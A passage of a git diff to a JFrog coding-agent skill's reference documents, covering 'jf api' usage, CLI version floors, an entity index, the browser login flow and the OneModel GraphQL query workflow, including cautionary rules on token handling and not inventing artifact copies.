virtual repo resolution for all consumers, trigger replication, and affect Xray indexing | +| Agent-invented mutations | Agent copies or moves artifacts into a local repo to satisfy a precondition for a different operation (e.g., copy a package so evidence can be created on it) | Requested operation failed because the artifact was not in the specified repo; agent treated "put it there" / "make it work" as permission to invent the artifact | **Never** copy, move, upload, or create-repo to work around a failed precondition — stop and report the gap. A workaround ask is not permission. See SKILL.md Cautious execution rule 5 | Copying into a local repo can silently change virtual repo resolution for all consumers, trigger replication, and affect Xray indexing | ## How to extend this file diff --git a/skills/jfrog/references/jf-api.md b/skills/jfrog/references/jf-api.md new file mode 100644 index 0000000..b4ecaf4 --- /dev/null +++ b/skills/jfrog/references/jf-api.md @@ -0,0 +1,63 @@ +# Invoking platform APIs with `jf api` + +> **Tier B MUST** before `jf api`. Not domain on-demand; not required for every CLI / setup. + +`jf api` is the Tier 3 entry point for JFrog Platform REST and GraphQL +endpoints, auto-authenticated against the resolved server. **Do not use +`jf rt curl` or `jf xr curl`** — superseded by `jf api`. + +## Product-prefix table + +`jf api` requires the **full** path including the product prefix; omitting it +returns 404. + +| Product | Path prefix | +|---------|-------------| +| Artifactory | `/artifactory/api/...` | +| Xray | `/xray/api/...` | +| Access (users, groups, tokens, permissions, projects) | `/access/api/...` | +| Evidence | `/evidence/api/...` | +| Release Lifecycle | `/lifecycle/api/...` | +| AppTrust | `/apptrust/api/...` | +| Distribution | `/distribution/api/...` | +| OneModel (GraphQL) | `/onemodel/api/v1/graphql`, `/onemodel/api/v1/supergraph/schema` | +| Mission Control | `/mc/api/...` | +| Curation | `/xray/api/v1/curation/...` (lives under Xray) | + +## Examples + +```bash +jf api /artifactory/api/repositories +jf api --server-id <SID> /artifactory/api/system/version + +# AQL (POST with text/plain body) +jf api /artifactory/api/search/aql \ + -X POST -H "Content-Type: text/plain" -d '<aql-query>' +``` + +Common flags: `-X/--method`, `-H/--header`, `-d/--data`, `--input <file>`, +`--server-id`, `--timeout`. Body on stdout, status on stderr — see +`references/cli-gotchas.md`. + +## GraphQL (OneModel) + +OneModel is the unified GraphQL API. **Do not** embed the query inside a JSON +literal (`-d '{"query":"..."}'`) — escaping breaks requests. Build the payload +with `jq -n --arg`, pass it via `--input`, and save the response to a file +before running `jq` on it. + +```bash +QUERY='{ evidence { searchEvidence(first: 5, where: { hasSubjectWith: { repositoryKey: "my-repo-local" } }) { totalCount } } }' +PAYLOAD=/tmp/onemodel-payload-$$.json RESPONSE=/tmp/onemodel-$$.json +jq -n --arg q "$QUERY" '{query:$q}' > "$PAYLOAD" +jf api /onemodel/api/v1/graphql -X POST \ + -H "Content-Type: application/json" --input "$PAYLOAD" > "$RESPONSE" +jq . "$RESPONSE" +``` + +Schema discovery: `jf api /onemodel/api/v1/supergraph/schema > "$SCHEMA_FILE"` +(store only under `~/.jfrog/skills-cache/`, never query responses). Read +`references/onemodel-graphql.md` for the full workflow (schema fetch, +validation, pagination, errors), plus `references/onemodel-query-examples.md` +and `references/onemodel-common-patterns.md` for query shapes, pagination, +variables, and dates. diff --git a/skills/jfrog/references/jfrog-brand-html-report.md b/skills/jfrog/references/jfrog-brand-html-report.md index 4a54746..ed0bdf1 100644 --- a/skills/jfrog/references/jfrog-brand-html-report.md +++ b/skills/jfrog/references/jfrog-brand-html-report.md @@ -36,59 +36,30 @@ These are **practical defaults** for internal or technical reports. Adjust if th :root { /* Accent — common on JFrog digital properties; confirm vs Media Kit / brand updates */ --jfrog-accent: #40be46; - --jfrog-accent-hover: #36a63d; - /* Neutrals */ --text-primary: #1a1a1a; - --text-muted: #5c5c5c; --border-subtle: #e4e4e4; --bg-page: #ffffff; --bg-muted: #f7f8f8; } - body { font-family: system-ui, -apple-system, "Segoe UI", Roboto, Ubuntu, sans-serif; color: var(--text-primary); background: var(--bg-page); line-height: 1.5; - margin: 0; - padding: 2rem clamp(1rem, 4vw, 3rem); max-width: 56rem; } - -a { - color: var(--jfrog-accent); -} -a:hover { - color: var(--jfrog-accent-hover); -} - -h1 { - font-weight: 700; - font-size: 1.75rem; - border-bottom: 3px solid var(--jfrog-accent); - padding-bottom: 0.35rem; -} - -table { - border-collapse: collapse; - width: 100%; - font-size: 0.95rem; -} -th, td { - border: 1px solid var(--border-subtle); - padding: 0.5rem 0.65rem; - text-align: left; -} -thead { - background: var(--bg-muted); -} - -code, pre { - font-family: ui-monospace, "Cascadia Code", "SF Mono", Menlo, monospace; - font-size: 0.9em; -} +a { color: var(--jfrog-accent); } +h1 { border-bottom: 3px solid var(--jfrog-accent); } +table { border-collapse: collapse; width: 100%; } +th, td { border: 1px solid var(--border-subtle); padding: 0.5rem 0.65rem; text-align: left; } +thead { background: var(--bg-muted); } +code, pre { font-family: ui-monospace, "Cascadia Code", "SF Mono", Menlo, monospace; } ``` +Derive the rest (spacing, hover states, font sizing) from ordinary CSS +judgment — these tokens are the only brand-specific values worth +pinning verbatim. + ## Optional logo Only if the user explicitly wants a logo: use files from the **JFrog Media Kit**, do not alter colors or geometry, and include nearby text that this report is **about** their JFrog deployment, not **by** JFrog — consistent with nominative-use expectations on the brand page. diff --git a/skills/jfrog/references/jfrog-cli-install-upgrade.md b/skills/jfrog/references/jfrog-cli-install-upgrade.md index 071a19f..ba87338 100644 --- a/skills/jfrog/references/jfrog-cli-install-upgrade.md +++ b/skills/jfrog/references/jfrog-cli-install-upgrade.md @@ -1,5 +1,13 @@ # JFrog CLI Install & Upgrade +## Minimum version for skills + +Skills that call `jf api` require JFrog CLI **2.100.0** or later. On an older CLI +`jf api` is an unknown command, so the login flow stops as a prerequisite failure +rather than reaching the platform. Web login itself needs **2.86.0** or later. + +Check with `jf --version`, and upgrade below that floor using the steps below. + ## Installing the JFrog CLI If `jf` is not installed (environment check exits with code 2), guide the user: diff --git a/skills/jfrog/references/jfrog-entity-index.md b/skills/jfrog/references/jfrog-entity-index.md index b17eb03..da36320 100644 --- a/skills/jfrog/references/jfrog-entity-index.md +++ b/skills/jfrog/references/jfrog-entity-index.md @@ -2,14 +2,13 @@ When to read this file: -- The user mentions a JFrog entity and you need to identify which **domain** it belongs to. -- You are planning an operation that spans **multiple products** (e.g. build → scan → release). -- You need a quick **one-line definition** before deciding whether to load the full domain reference. -- You need **GraphQL (OneModel)** entry points (workflow, examples, patterns) — +- User mentions JFrog entity — need to identify **domain**. +- Planning operation spanning **multiple products** (e.g. build → scan → release). +- Need quick **one-line definition** before loading full domain reference. +- Need **GraphQL (OneModel)** entry points (workflow, examples, patterns) — see [GraphQL (OneModel)](#graphql-onemodel) below. -After identifying the domain, follow the pointer in the **Reference** column for -detailed definitions, relationships, and agent rules. +After identifying domain, follow **Reference** column pointer for detailed definitions, relationships, agent rules. ## Cross-product flow @@ -35,78 +34,70 @@ flowchart TD Cat[Catalog] -.->|enriches metadata| SP ``` -Key takeaway: **artifacts** are the atomic unit. Builds reference them, -Xray scans them, release bundles collect them, distribution delivers them. -**Applications** orchestrate the top-level release flow. **Stored Packages** -bridge artifacts to the package abstraction. **Catalog** enriches packages -with global security, legal, and operational metadata. **Evidence** attests -to entities across all domains. +Key takeaway: **artifacts** = atomic unit. Builds reference them, Xray scans them, release bundles collect them, distribution delivers them. **Applications** orchestrate top-level release flow. **Stored Packages** bridge artifacts → package abstraction. **Catalog** enriches packages with global security, legal, operational metadata. **Evidence** attests entities across all domains. ## GraphQL (OneModel) -For the unified **OneModel GraphQL** API (cross-product list/search over -applications, packages, evidence, release bundles, catalog, and related -entities on the platform base URL): +Unified **OneModel GraphQL** API (cross-product list/search over applications, packages, evidence, release bundles, catalog, related entities on platform base URL): -- **Workflow** — mandatory per-server supergraph schema, validation, execution, - errors: `onemodel-graphql.md` -- **Query templates and domain examples** — `onemodel-query-examples.md` +- **Workflow** — mandatory per-server supergraph schema, validation, execution, errors: `onemodel-graphql.md` +- **Query templates + domain examples** — `onemodel-query-examples.md` - **Pagination, variables, date formats** — `onemodel-common-patterns.md` -Also see **GraphQL (OneModel)** in the base `SKILL.md` (Tier 3 curl). +Also see **GraphQL (OneModel)** in base `SKILL.md` (Tier 3 curl). ## Entity lookup | Entity | Domain | Definition | Reference | |--------|--------|------------|-----------| -| **Local repository** | Artifactory | Stores artifacts deployed directly (upload, promote, move) | `artifactory-entities.md` | -| **Remote repository** | Artifactory | Proxy/cache for an external source; cached artifacts live in its `-cache` repo | `artifactory-entities.md` | -| **Virtual repository** | Artifactory | Aggregates local and remote repos under a single resolution URL | `artifactory-entities.md` | -| **Federated repository** | Artifactory | Local repo that synchronizes across multiple Platform Deployments | `artifactory-entities.md` | -| **Artifact** | Artifactory | A file stored in a repository, identified by repo + path + name | `artifactory-entities.md` | -| **Property** | Artifactory | Key-value metadata attached to an artifact or folder | `artifactory-entities.md` | -| **Package type** | Artifactory | Repo-level setting that determines layout, metadata indexing, and client protocol | `artifactory-entities.md` | -| **Build info** | Artifactory | Metadata record linking a CI/CD build to the artifacts it produced | `artifactory-entities.md` | -| **Build promotion** | Artifactory | Status change on a build that can move/copy artifacts between repos | `artifactory-entities.md` | -| **Permission** | Artifactory / Access | RBAC policy mapping resources (repos, builds, bundles, destinations) to user/group actions. V2 via Access, V1 (permission targets) via Artifactory | `artifactory-entities.md` | -| **Replication** | Artifactory | Sync configuration that copies artifacts/properties between repos | `artifactory-entities.md` | -| **Indexed resource** | Xray | A repository, build, or release bundle that Xray indexes for scanning | `xray-entities.md` | -| **Component** | Xray | A software package identified and tracked by Xray during scanning | `xray-entities.md` | -| **Vulnerability** | Xray | A known security issue (CVE) associated with a component version | `xray-entities.md` | -| **Contextual analysis** | Xray | Assessment of whether a vulnerability is reachable in the usage context | `xray-entities.md` | -| **License** | Xray | License metadata associated with a component, used for compliance policies | `xray-entities.md` | -| **Watch** | Xray | Links resources (repos, builds) to policies for continuous monitoring | `xray-entities.md` | -| **Policy** | Xray | Rules that evaluate components and produce violations when matched | `xray-entities.md` | -| **Violation** | Xray | Generated when a component in a watched resource matches a policy rule | `xray-entities.md` | -| **Ignore rule** | Xray | Suppresses specific violations by component, CVE, path, or other criteria | `xray-entities.md` | -| **Exposure** | Xray (Advanced Security) | Actionable finding from exposures scanning — secrets, IaC issues, service misconfigurations, or application security risks detected in artifacts | `xray-entities.md` | -| **Curation audit event** | Xray (Curation) | Record of a package check through a curated repository — approved or blocked, with policy details; supports dry-run analysis | `xray-entities.md` | -| **Report** | Xray | On-demand security, license, or operational analysis over a defined scope | `xray-entities.md` | -| **Release Bundle** | Release Lifecycle | Immutable, versioned collection of artifacts for promotion and distribution | `release-lifecycle-entities.md` | -| **Lifecycle stage** | Release Lifecycle | Progression of a release bundle through environments (e.g. DEV → PROD) | `release-lifecycle-entities.md` | -| **Distribution** | Release Lifecycle | Delivery of a release bundle to Edge nodes or other Platform Deployments | `release-lifecycle-entities.md` | -| **Evidence** | Release Lifecycle | Cryptographic attestation attached to release bundles, apps, or packages (cross-domain) | `release-lifecycle-entities.md` | -| **Evidence subject** | Release Lifecycle | Cross-domain anchor linking evidence to its target entity via `fullPath` | `release-lifecycle-entities.md` | -| **Application** | AppTrust | Software application with versions, owners, criticality, and maturity level | `apptrust-entities.md` | -| **Application version** | AppTrust | Versioned instance with releasables, sources, promotion history, and release status | `apptrust-entities.md` | -| **Releasable** | AppTrust | Deployable unit within an app version — a package version or individual artifact | `apptrust-entities.md` | -| **Application version promotion** | AppTrust | Stage-to-stage progression of an app version (with status tracking) | `apptrust-entities.md` | -| **Application version source** | AppTrust | What produced releasables: Build, ReleaseBundle, ApplicationVersion, or Direct | `apptrust-entities.md` | -| **Stored package** | Stored Packages | Package as known to Artifactory's metadata layer (name + type + versions) | `stored-packages-entities.md` | -| **Stored package version** | Stored Packages | Specific version with locations, artifacts, tags, qualifiers, and stats | `stored-packages-entities.md` | -| **Stored package version location** | Stored Packages | Where a package version lives (repo key + path) — bridge to Applications and Evidence | `stored-packages-entities.md` | -| **Stored package artifact** | Stored Packages | Binary file within a package version (checksums, size, mime type) | `stored-packages-entities.md` | -| **Public package** | Catalog | Package in JFrog's global database with security, legal, and operational metadata | `catalog-entities.md` | -| **Public package version** | Catalog | Version with vulnerability, license, operational info, and dependencies | `catalog-entities.md` | -| **Public vulnerability** | Catalog | CVE with CVSS v2/v3/v4, EPSS, advisories (NVD, GHSA, JFrog), known exploits | `catalog-entities.md` | -| **Public license** | Catalog | License metadata with permissions, limitations, and patent conditions | `catalog-entities.md` | -| **Custom package** | Catalog | Package in the organization's private catalog view with custom labels | `catalog-entities.md` | -| **Custom catalog label** | Catalog | Organization-defined label for categorizing packages (manual or automatic) | `catalog-entities.md` | -| **MCP service** | Catalog | Model Context Protocol service registered in the public catalog | `catalog-entities.md` | -| **Project** | Platform / Access | Organizational container with its own members, roles, and resources | `platform-access-entities.md` | -| **Project role** | Platform / Access | Per-project role definition scoping actions to environments | `platform-access-entities.md` | -| **Project member** | Platform / Access | User or group assigned a role within a project | `platform-access-entities.md` | -| **Environment** | Platform / Access | Groups resources and scopes RBAC; used in projects and release lifecycle | `platform-access-entities.md` | -| **User** | Platform / Access | Platform identity that authenticates and is granted permissions | `platform-access-entities.md` | -| **Group** | Platform / Access | Named collection of users; simplifies permission management | `platform-access-entities.md` | -| **Access token** | Platform / Access | Bearer credential with scoped permissions and optional expiry | `platform-access-entities.md` | +| **Local repository** | Artifactory | Direct artifact storage (upload, promote, move) | `artifactory-entities.md` | +| **Remote repository** | Artifactory | External proxy/cache; artifacts in `-cache` repo | `artifactory-entities.md` | +| **Virtual repository** | Artifactory | Aggregates local + remote repos under one resolution URL | `artifactory-entities.md` | +| **Federated repository** | Artifactory | Local repo synced across Platform Deployments | `artifactory-entities.md` | +| **Artifact** | Artifactory | Repo file; id = repo + path + name | `artifactory-entities.md` | +| **Property** | Artifactory | Key-value metadata on artifact/folder | `artifactory-entities.md` | +| **Package type** | Artifactory | Repo setting: layout, indexing, client protocol | `artifactory-entities.md` | +| **Build info** | Artifactory | CI/CD build metadata → produced artifacts | `artifactory-entities.md` | +| **Build promotion** | Artifactory | Build status change; move/copy artifacts between repos | `artifactory-entities.md` | +| **Permission** | Artifactory / Access | RBAC: resources → user/group actions. V2=Access, V1=Artifactory permission targets | `artifactory-entities.md` | +| **Replication** | Artifactory | Sync config for artifacts/properties between repos | `artifactory-entities.md` | +| **Indexed resource** | Xray | Repo, build, or release bundle indexed for scanning | `xray-entities.md` | +| **Component** | Xray | Package identified + tracked during Xray scan | `xray-entities.md` | +| **Vulnerability** | Xray | Known CVE on component version | `xray-entities.md` | +| **Contextual analysis** | Xray | Vulnerability reachability in usage context | `xray-entities.md` | +| **License** | Xray | Component license metadata for compliance | `xray-entities.md` | +| **Watch** | Xray | Links repos/builds → policies for monitoring | `xray-entities.md` | +| **Policy** | Xray | Component rules → violations when matched | `xray-entities.md` | +| **Violation** | Xray | Component in watched resource matches policy rule | `xray-entities.md` | +| **Ignore rule** | Xray | Suppresses violations by component, CVE, path, etc. | `xray-entities.md` | +| **Exposure** | Xray (Advanced Security) | Exposures scan finding — secrets, IaC, misconfigs, appsec risks | `xray-entities.md` | +| **Curation audit event** | Xray (Curation) | Curated repo package check — approved/blocked + policy; dry-run supported | `xray-entities.md` | +| **Report** | Xray | On-demand security/license/operational analysis | `xray-entities.md` | +| **Release Bundle** | Release Lifecycle | Immutable versioned artifact set for promotion + distribution | `release-lifecycle-entities.md` | +| **Lifecycle stage** | Release Lifecycle | Bundle progression through environments (DEV → PROD) | `release-lifecycle-entities.md` | +| **Distribution** | Release Lifecycle | Bundle delivery to Edge nodes / Platform Deployments | `release-lifecycle-entities.md` | +| **Evidence** | Release Lifecycle | Crypto attestation on bundles, apps, packages (cross-domain) | `release-lifecycle-entities.md` | +| **Evidence subject** | Release Lifecycle | Cross-domain evidence anchor via `fullPath` | `release-lifecycle-entities.md` | +| **Application** | AppTrust | App with versions, owners, criticality, maturity | `apptrust-entities.md` | +| **Application version** | AppTrust | Versioned instance: releasables, sources, promotion history, status | `apptrust-entities.md` | +| **Releasable** | AppTrust | Deployable unit — package version or artifact | `apptrust-entities.md` | +| **Application version promotion** | AppTrust | Stage-to-stage app version progression + status | `apptrust-entities.md` | +| **Application version source** | AppTrust | Releasable source: Build, ReleaseBundle, ApplicationVersion, Direct | `apptrust-entities.md` | +| **Stored package** | Stored Packages | Artifactory metadata package (name + type + versions) | `stored-packages-entities.md` | +| **Stored package version** | Stored Packages | Version: locations, artifacts, tags, qualifiers, stats | `stored-packages-entities.md` | +| **Stored package version location** | Stored Packages | Package version location (repo key + path); bridge to Apps + Evidence | `stored-packages-entities.md` | +| **Stored package artifact** | Stored Packages | Package version binary (checksums, size, mime type) | `stored-packages-entities.md` | +| **Public package** | Catalog | JFrog global package + security/legal/operational metadata | `catalog-entities.md` | +| **Public package version** | Catalog | Version: vulns, licenses, operational info, dependencies | `catalog-entities.md` | +| **Public vulnerability** | Catalog | CVE: CVSS v2/v3/v4, EPSS, advisories (NVD, GHSA, JFrog), exploits | `catalog-entities.md` | +| **Public license** | Catalog | License: permissions, limitations, patent conditions | `catalog-entities.md` | +| **Custom package** | Catalog | Org private catalog package + custom labels | `catalog-entities.md` | +| **Custom catalog label** | Catalog | Org label for packages (manual/automatic) | `catalog-entities.md` | +| **MCP service** | Catalog | MCP service in public catalog | `catalog-entities.md` | +| **Project** | Platform / Access | Org container: members, roles, resources | `platform-access-entities.md` | +| **Project role** | Platform / Access | Per-project role scoped to environments | `platform-access-entities.md` | +| **Project member** | Platform / Access | User/group + project role | `platform-access-entities.md` | +| **Environment** | Platform / Access | Resource grouping + RBAC scope; projects + lifecycle | `platform-access-entities.md` | +| **User** | Platform / Access | Platform identity + permissions | `platform-access-entities.md` | +| **Group** | Platform / Access | User collection for permission management | `platform-access-entities.md` | +| **Access token** | Platform / Access | Scoped bearer credential + optional expiry | `platform-access-entities.md` | diff --git a/skills/jfrog/references/jfrog-login-flow.md b/skills/jfrog/references/jfrog-login-flow.md index 4bfe5c3..fe88999 100644 --- a/skills/jfrog/references/jfrog-login-flow.md +++ b/skills/jfrog/references/jfrog-login-flow.md @@ -1,18 +1,16 @@ # Server Login Flow -How to add or authenticate a JFrog Platform server. The agent drives this -flow — the user only interacts via their browser. +Add or authenticate a JFrog Platform server. Agent drives flow — user interacts via browser. -Requires Artifactory 7.64.0+ and the JFrog CLI (`jf`). +Requires Artifactory 7.64.0+ and JFrog CLI (`jf`). ## Security rules - Never print, echo, or display access tokens in terminal output or chat. -- When confirming auth status, say "authenticated as user X" — never show -the token. -- `jf config` is the sole credential store. Never store tokens in files, -env var profiles, or project directories. -- Validate URLs with the ping endpoint before using them in shell commands. +- Confirm auth: "authenticated as user X" — never show the token. +- `jf config` = sole credential store. Never store tokens in files, env var + profiles, or project directories. +- Validate URLs with ping endpoint before shell use. ## Resolve the active environment @@ -20,13 +18,12 @@ env var profiles, or project directories. jf config show 2>/dev/null ``` -- **0 servers** — ask the user for their JFrog Platform URL, then go to -Web Login. +- **Command errors** (nonzero exit / config unreadable) — stop and report; do **not** treat empty output as 0 servers. +- **0 servers** (success, empty) — ask user for JFrog Platform URL → Web Login. - **1 server** — use it: `jf config use <server-id>`, done. -- **2+ servers** — if the user named a specific server, use that one. Otherwise -use the current default. If no default is set, list server IDs and URLs and -ask the user which to use. **Never iterate through servers or fall back to -another server on error** — see SKILL.md **Server selection rules**. +- **2+ servers** — user named specific server → use it. Else current default. + No default → list server IDs/URLs, ask user. **Never iterate servers or + fallback on error** — see SKILL.md **Server selection rules**. ## Web login (preferred) @@ -36,8 +33,7 @@ another server on error** — see SKILL.md **Server selection rules**. bash <skill_path>/scripts/jfrog-login-register-session.sh "https://mycompany.jfrog.io" ``` -The script pings the server, generates a session UUID, and registers it with -the Access API. On success it outputs: +Pings server, generates session UUID, registers with Access API. On success: ``` SESSION_UUID=<uuid> @@ -46,23 +42,36 @@ VERIFY_CODE=<last 4 chars> Exit codes: 0 = success, 2 = server unreachable, 3 = registration failed. -### 2. Show the user the verification code and login link +### 2. Open the login link and show the verification code -Build the login URL: +Build login URL: ``` ${JFROG_PLATFORM_URL}/ui/login?jfClientSession=${SESSION_UUID}&jfClientName=JFrog-Skills&jfClientCode=1 ``` -Show the verification code prominently, then the clickable link: +Open it in the user's default browser automatically — don't just print +the link and ask them to click it. OS-appropriate opener: + +```bash +open "<login-url>" # macOS +xdg-open "<login-url>" # Linux +start "" "<login-url>" # Windows (cmd) / `Start-Process "<login-url>"` in PowerShell +``` + +Opener fails or unavailable (headless/remote, no `$DISPLAY`) → fall back +to showing the link as text; not a hard failure. + +Show verification code prominently, then confirm the link was opened +(or provide it, on fallback): > ## Verification code: `<last 4 chars of SESSION_UUID>` > -> Open the login link from above, then enter the code. +> I've opened the login page in your browser — enter the code above. > > Let me know when you're done. -Wait for the user to confirm. Do not poll automatically. +Wait for user confirmation. Do not poll automatically. ### 3. Retrieve token, save credentials, verify @@ -72,13 +81,12 @@ bash <skill_path>/scripts/jfrog-login-save-credentials.sh \ "<SESSION_UUID from step 1>" ``` -Substitute the literal platform URL and session UUID from step 1 output. +Substitute literal platform URL and session UUID from step 1 output. -The script retrieves the one-time token, derives a server ID from the URL, -saves credentials via `jf config add`, and verifies with an Artifactory -version check. It leaves the current default `jf` server unchanged — pass -`--server-id=<id>` explicitly on subsequent calls (the SKILL.md "Server -selection rules" require this anyway). On success it outputs: +Retrieves one-time token, derives server ID from URL, saves via `jf config add`, +verifies with Artifactory version check. Leaves default `jf` server unchanged — +pass `--server-id=<id>` on subsequent calls (SKILL.md "Server selection rules"). +On success: ``` SERVER_ID=<derived-id> @@ -88,10 +96,7 @@ SERVER_ID=<derived-id> Exit codes: 0 = success, 2 = token retrieval failed (user may not have completed browser login — HTTP 400), 3 = empty token, 4 = config save or -verification failed. - -**The token endpoint is one-time-use.** If consumed (even in a failed save), -the session UUID is invalidated and the flow must restart from step 1. +verification failed. The token is one-time-use — see Gotchas below. ## Post-login handoff (mandatory gate) @@ -106,11 +111,11 @@ Before any other JFrog operation against the new server, ask the user: ## Fallback: manual token setup -If web login fails (server too old, network restrictions): +Web login fails (old server, network restrictions): -1. Ask the user to generate a token in the JFrog UI: +1. Ask user to generate token in JFrog UI: **Administration > Identity and Access > Access Tokens > Generate Token** -2. Save it non-interactively: +2. Save non-interactively: ```bash jf config add <server-id> \ @@ -121,12 +126,9 @@ jf config add <server-id> \ ## Gotchas -- The token endpoint (`/token/{uuid}`) is **one-time-use**. If consumed -(even in a failed save), the session UUID is invalidated and the flow -must restart from step 1. The save-credentials script handles cleanup, -but if it exits non-zero after consuming the token, restart from step 1. -- Server ID is derived from the hostname: `https://mycompany.jfrog.io` -becomes `mycompany`. Self-hosted URLs are slugified: -`https://artifactory.internal.corp` becomes `artifactory-internal-corp`. -- `**jf`**, `**uuidgen**` (register-session), and `**jq**` (save-credentials) must be on PATH. - +- Token endpoint (`/token/{uuid}`) **one-time-use**. Consumed (even failed save) + → session UUID invalidated → restart step 1. save-credentials script handles + cleanup; non-zero exit after token consumed → restart step 1. +- Server ID from hostname: `https://mycompany.jfrog.io` → `mycompany`. + Self-hosted slugified: `https://artifactory.internal.corp` → `artifactory-internal-corp`. +- `**jf**`, `**uuidgen**` (register-session), and `**jq**` (save-credentials) must be on PATH. diff --git a/skills/jfrog/references/onemodel-graphql.md b/skills/jfrog/references/onemodel-graphql.md index 41e03e5..a820e2d 100644 --- a/skills/jfrog/references/onemodel-graphql.md +++ b/skills/jfrog/references/onemodel-graphql.md @@ -1,61 +1,55 @@ # OneModel GraphQL (JFrog Platform) -Run OneModel GraphQL queries against the JFrog Platform to fetch information -about applications, release bundles, artifacts, builds, evidence, packages, -catalog data, and more through the unified OneModel endpoint. +Run OneModel GraphQL against the JFrog Platform for applications, release +bundles, artifacts, builds, evidence, packages, catalog data, and more via +the unified endpoint. -**When to read this file:** Any OneModel GraphQL query, schema discovery, or -when the user asks to list or search platform entities via GraphQL. For -domain-specific query shapes, read `onemodel-query-examples.md`. For -pagination, variables, and date formatting, read `onemodel-common-patterns.md`. +**Read when:** OneModel GraphQL query, schema discovery, or list/search +platform entities via GraphQL. Domain shapes → `onemodel-query-examples.md`. +Pagination / variables / dates → `onemodel-common-patterns.md`. -In examples below, `<skill_path>` is this skill's directory (parent of -`references/`). +In examples, `<skill_path>` is this skill's directory (parent of `references/`). ## `~/.jfrog/skills-cache/` policy -The skill cache lives under `${JFROG_CLI_HOME_DIR:-$HOME/.jfrog}/skills-cache/` -(co-located with `jf config`, **not** inside the installed skill tree). It holds -**only**: +Cache: `${JFROG_CLI_HOME_DIR:-$HOME/.jfrog}/skills-cache/` (with `jf config`, +**not** inside the installed skill). Holds **only**: 1. **`onemodel-schema-${JFROG_SERVER_ID}.graphql`** — this workflow (supergraph - SDL cache). **Always** use the path in [Fetch the schema](#2-fetch-the-schema); - do not mirror the schema under `/tmp`. -2. **`jfrog-skill-state.json`** — environment check (see main SKILL.md); scripts - manage it; do not delete or replace it casually. + SDL). **Always** use [Fetch the schema](#2-fetch-the-schema); never mirror + under `/tmp`. +2. **`jfrog-skill-state.json`** — env check (main SKILL.md); scripts own it; + do not delete/replace casually. -**Never** store GraphQL **query responses**, REST bodies, reports, or other -scratch files under `skills-cache/`. For responses, use `/tmp` with a unique name -(`$$`, `mktemp -d`) as in [Execute the query](#6-execute-the-query) — the -example `RESPONSE_FILE` paths must stay outside `skills-cache/`. +**Never** store GraphQL **responses**, REST bodies, reports, or scratch under +`skills-cache/`. Responses → `/tmp` with unique name (`$$`, `mktemp -d`) as in +[Execute the query](#6-execute-the-query). `RESPONSE_FILE` must stay outside +`skills-cache/`. ## Prerequisites -- **JFrog CLI** (`jf`) configured with at least one server — follow the main - SKILL.md environment check and **Server selection rules** before querying. -- **Artifactory 7.104.1+** — OneModel GraphQL requires this minimum version. -- **`jq`** on `PATH` (same as the base skill). HTTP calls go through - `jf api`; no standalone `curl` is needed. +- **JFrog CLI** (`jf`) with ≥1 server — main SKILL.md env check + **Server + selection rules** before querying. +- **Artifactory 7.104.1+** — OneModel GraphQL minimum. +- **`jq`** on `PATH` (base skill). HTTP via `jf api`; no standalone `curl`. ## Workflow -Follow these steps in order. Skipping the schema fetch (step 2) is the most -common source of errors — queries built from assumptions or cached knowledge -will fail on servers whose schema differs from what you expect. +Follow in order. Skipping schema fetch (step 2) is the top error source — +assumed/cached shapes fail when the server schema differs. -1. **Resolve the target server** — derive `JFROG_SERVER_ID` from `jf config` -2. **Fetch the schema** — always fetch the supergraph schema from the server -3. **Understand the query intent** — map the user's request to domains and types -4. **Construct the GraphQL query** — build from the resolved schema only -5. **Validate the query against the schema** — verify every field and type -6. **Execute the query** — POST to the OneModel endpoint; save response to a file -7. **Handle the response** — paginate if needed; present results clearly +1. **Resolve the target server** — `JFROG_SERVER_ID` from `jf config` +2. **Fetch the schema** — always fetch supergraph from the server +3. **Understand the query intent** — map request → domains/types +4. **Construct the GraphQL query** — from resolved schema only +5. **Validate against the schema** — every field and type +6. **Execute** — POST OneModel; save response to a file +7. **Handle the response** — paginate if needed; present clearly ### 1. Resolve the target server -Authentication is handled automatically by `jf api` against the active (or -`--server-id`-specified) server. You only need the server-id locally — for -caching the schema file per server. Derive it from `jf config`: +`jf api` authenticates against the active (or `--server-id`) server. You only +need the server-id locally — for per-server schema cache. From `jf config`: ```bash # User-specified server: @@ -66,40 +60,32 @@ JFROG_SERVER_ID=$(jf config show --server-id 2>/dev/null \ || jf config export | base64 -d | jq -r '.servers[] | select(.isDefault==true).serverId') ``` -If the user named a specific server, pass `--server-id "$JFROG_SERVER_ID"` to -every `jf api` invocation in steps 2 and 6 so the query hits that server -(see SKILL.md § *Server selection rules*). +If the user named a server, pass `--server-id "$JFROG_SERVER_ID"` on every +`jf api` in steps 2 and 6 (SKILL.md § *Server selection rules*). ### 2. Fetch the schema -**This step is mandatory for custom or novel queries.** You need the supergraph -schema from the specific JFrog server you are working with. +**Mandatory for custom/novel queries.** Need the supergraph from this server. #### Shortcut for well-known query patterns -When using a query shape that comes directly from `onemodel-query-examples.md` -**without modifications** (same fields, same filters, same argument types), you -may skip the full schema fetch and execute immediately. The example queries in -that file are maintained against real servers and are unlikely to drift for -stable domains like `publicPackages`, `storedPackages`, and `evidence`. +Query shape from `onemodel-query-examples.md` **without modifications** (same +fields, filters, arg types) → may skip full schema fetch and execute. Those +examples track real servers; stable domains (`publicPackages`, +`storedPackages`, `evidence`) rarely drift. -**Fallback rule:** If the query returns `GRAPHQL_VALIDATION_FAILED` or -unexpected empty results, fetch the schema (as described below), verify the -query against it, and retry. Do not attempt more than one execution without -schema verification. +**Fallback:** `GRAPHQL_VALIDATION_FAILED` or unexpected empty → fetch schema +(below), verify, retry. Never more than one execution without schema check. -The schema is large. Cache it under the skill cache directory (the JFrog CLI -home — outside the installed skill tree) keyed by the concrete -`JFROG_SERVER_ID` from step 1 (the CLI `serverId`, never a placeholder like -`default`). +Schema is large. Cache under skill cache (CLI home, outside installed skill), +keyed by concrete `JFROG_SERVER_ID` from step 1 (CLI `serverId`, never a +placeholder like `default`). -**Always use this exact path** — do not save the schema to `/tmp/` or any other -location. The cache path is: +**Always this exact path** — not `/tmp/` or elsewhere: `${JFROG_CLI_HOME_DIR:-$HOME/.jfrog}/skills-cache/onemodel-schema-${JFROG_SERVER_ID}.graphql` -Run the following block as-is. It checks for an existing cached file and only -fetches when missing: +Run as-is — uses cache when present, fetches when missing: ```bash SCHEMA_FILE="${JFROG_CLI_HOME_DIR:-$HOME/.jfrog}/skills-cache/onemodel-schema-${JFROG_SERVER_ID}.graphql" @@ -114,133 +100,115 @@ else fi ``` -(Omit `--server-id "$JFROG_SERVER_ID"` to target the active default server.) +(Omit `--server-id "$JFROG_SERVER_ID"` for the active default server.) -After the block runs, **read 